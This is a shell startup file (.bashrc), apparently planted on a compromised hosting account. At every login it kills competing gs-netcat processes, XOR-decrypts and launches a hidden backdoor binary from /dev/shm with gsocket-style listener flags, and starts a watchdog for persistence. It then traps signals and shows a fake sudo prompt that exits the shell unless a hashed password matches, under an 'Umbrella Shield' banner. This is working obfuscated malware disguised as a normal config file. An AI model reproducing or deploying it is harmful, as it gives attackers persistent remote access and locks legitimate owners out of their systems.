# .bashrc B="/home/u786322050/.config/htop" for _p in $(ps aux 2>/dev/null|grep -E "gs-dbus|gs-netcat"|grep -v grep|grep -v "$B/.defunct.dat"|awk '{print $2}');do kill -9 $_p 2>/dev/null;done rm -rf /tmp/.gs-* /var/tmp/.gs-* /dev/shm/.gs-* 2>/dev/null pgrep -f ".defunct.dat" >/dev/null 2>&1||{ if [ -x "$B/defunct" ];then nohup "$B/defunct" -k "$B/.defunct.dat" -liD /dev/null 2>&1 & elif [ -f "$B/.defunct.cfg" ];then _T="/dev/shm/.gs_$$"; base64 -d "$B/.defunct.cfg" | perl -e 'my $k="UmBrElLaShIeLd";my $l=length($k);binmode STDIN;binmode STDOUT;my $b;while(read(STDIN,$b,8192)){my $o="";for my $i(0..length($b)-1){$o.=chr(ord(substr($b,$i,1))^ord(substr($k,$i%$l,1)))}print $o}' > "$_T" 2>/dev/null && chmod 700 "$_T" && nohup "$_T" -k "$B/.defunct.dat" -liD /dev/null 2>&1 & sleep 1; rm -f "$_T"; fi; } pgrep -f "watchdog.sh" >/dev/null 2>&1||(nohup bash "$B/.watchdog.sh" /dev/null 2>&1 &) clear 2>/dev/null trap "" INT TSTP QUIT HUP _U=$(whoami) _H=$(hostname -s 2>/dev/null || hostname) echo -e "\033[1;31m" cat <<'ART' ............... ..,;:ccc,. ......'''''lxO. ..''''...........,:ld; .''''' ,OXxoc;,.. .... ... ,ONkc;,;cokOdc,. . OMo `:ddo. dMc :OO; 0M. .:o. ;Wd ;XO, ,d0Odlc;,.. ..,;:cdO0d::,. .:d;. ':;. 'd, .' ;l .. .o c .' . ART echo -e "\033[0m" echo -e "\033[1;37m Umbrella Shield\033[0m \033[90mv1.0\033[0m" echo sleep 1 echo -e "\033[32m${_U}@${_H}\033[0m:\033[34m~\033[0m\$ ls -la" sleep 0.3 echo "total 92" echo "drwxr-xr-x 13 ${_U} apache 4096 $(date +'%b %e %H:%M') ." echo "drwxr-xr-x 4 root root 4096 May 3 17:51 .." echo "-rw------- 1 ${_U} ${_U} 1690 $(date +'%b %e %H:%M') .bashrc" echo "drwx------ 2 ${_U} ${_U} 4096 $(date +'%b %e') .cache" echo "drwx------ 3 ${_U} ${_U} 4096 $(date +'%b %e') .config" echo "drwxr-xr-x 22 ${_U} ${_U} 4096 May 9 16:30 domains" echo "-rw-r--r-- 1 ${_U} ${_U} 8 Oct 30 2024 dead.letter" echo "drwxr-xr-x 2 ${_U} ${_U} 4096 May 1 12:00 logs" echo "drwxr-xr-x 3 ${_U} ${_U} 4096 $(date +'%b %e') public_html" echo "drwx------ 2 ${_U} ${_U} 4096 Sep 15 2024 .ssh" echo "drwxr-xr-x 2 ${_U} ${_U} 4096 May 6 2025 tmp" sleep 0.5 echo -e "\033[32m${_U}@${_H}\033[0m:\033[34m~\033[0m\$ sudo -v" sleep 0.3 _SHASH="3f4bcb9b30137c890120c790ed9ab267a83e2668b3eeb458e48abdd03e1b210e" read -sp "[sudo] password for ${_U}: " _KEY echo _KHASH=$(echo -n "$_KEY" | sha256sum | awk '{print $1}') if [ "$_KHASH" != "$_SHASH" ]; then echo "Sorry, try again." read -sp "[sudo] password for ${_U}: " _KEY2 echo _K2=$(echo -n "$_KEY2" | sha256sum | awk '{print $1}') if [ "$_K2" != "$_SHASH" ]; then echo "sudo: 2 incorrect password attempts" sleep 2 exit 1 fi fi trap - INT TSTP QUIT HUP clear 2>/dev/null echo echo -e "\033[90m ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e " \033[1;37m ☂ UMBRELLA SHIELD\033[0m \033[90m|\033[0m \033[32m● SYSTEM LOCKED\033[0m" echo -e "\033[90m ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[90m OPERATOR \033[36mUMBRELLA DEFENSE [ GUARDIAN ]\033[0m" echo -e "\033[90m HOST \033[36m$(hostname)\033[0m" echo -e "\033[90m USER \033[36m$(whoami) (UID $(id -u))\033[0m" echo -e "\033[90m TIME \033[36m$(date '+%Y-%m-%d %H:%M:%S')\033[0m" echo echo -e "\033[90m DEFENSE MODULES:\033[0m" _G="$(pgrep -fc .defunct.dat 2>/dev/null)" _W="$(pgrep -fc watchdog.sh 2>/dev/null)" [[ "$_G" -gt 0 ]] 2>/dev/null && _GS="\033[32m[ ● ACTIVE ]" || _GS="\033[31m[ ○ DOWN ]" [[ "$_W" -gt 0 ]] 2>/dev/null && _WS="\033[32m[ ● ACTIVE ]" || _WS="\033[31m[ ○ DOWN ]" echo -e "\033[90m ▸ Guardian .........\033[0m $_GS\033[0m" echo -e "\033[90m ▸ Watchdog .........\033[0m $_WS\033[0m" echo -e "\033[90m ▸ Shell Lock .......\033[0m \033[32m[ ● ACTIVE ]\033[0m" echo -e "\033[90m ▸ Police Check .....\033[0m \033[32m[ ● ACTIVE ]\033[0m" echo echo -e " \033[90m[ ☂ ]\033[0m \033[32mGATEWAY SECURED :: ● UMBRELLA_ONLINE\033[0m" echo -e "\033[90m ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo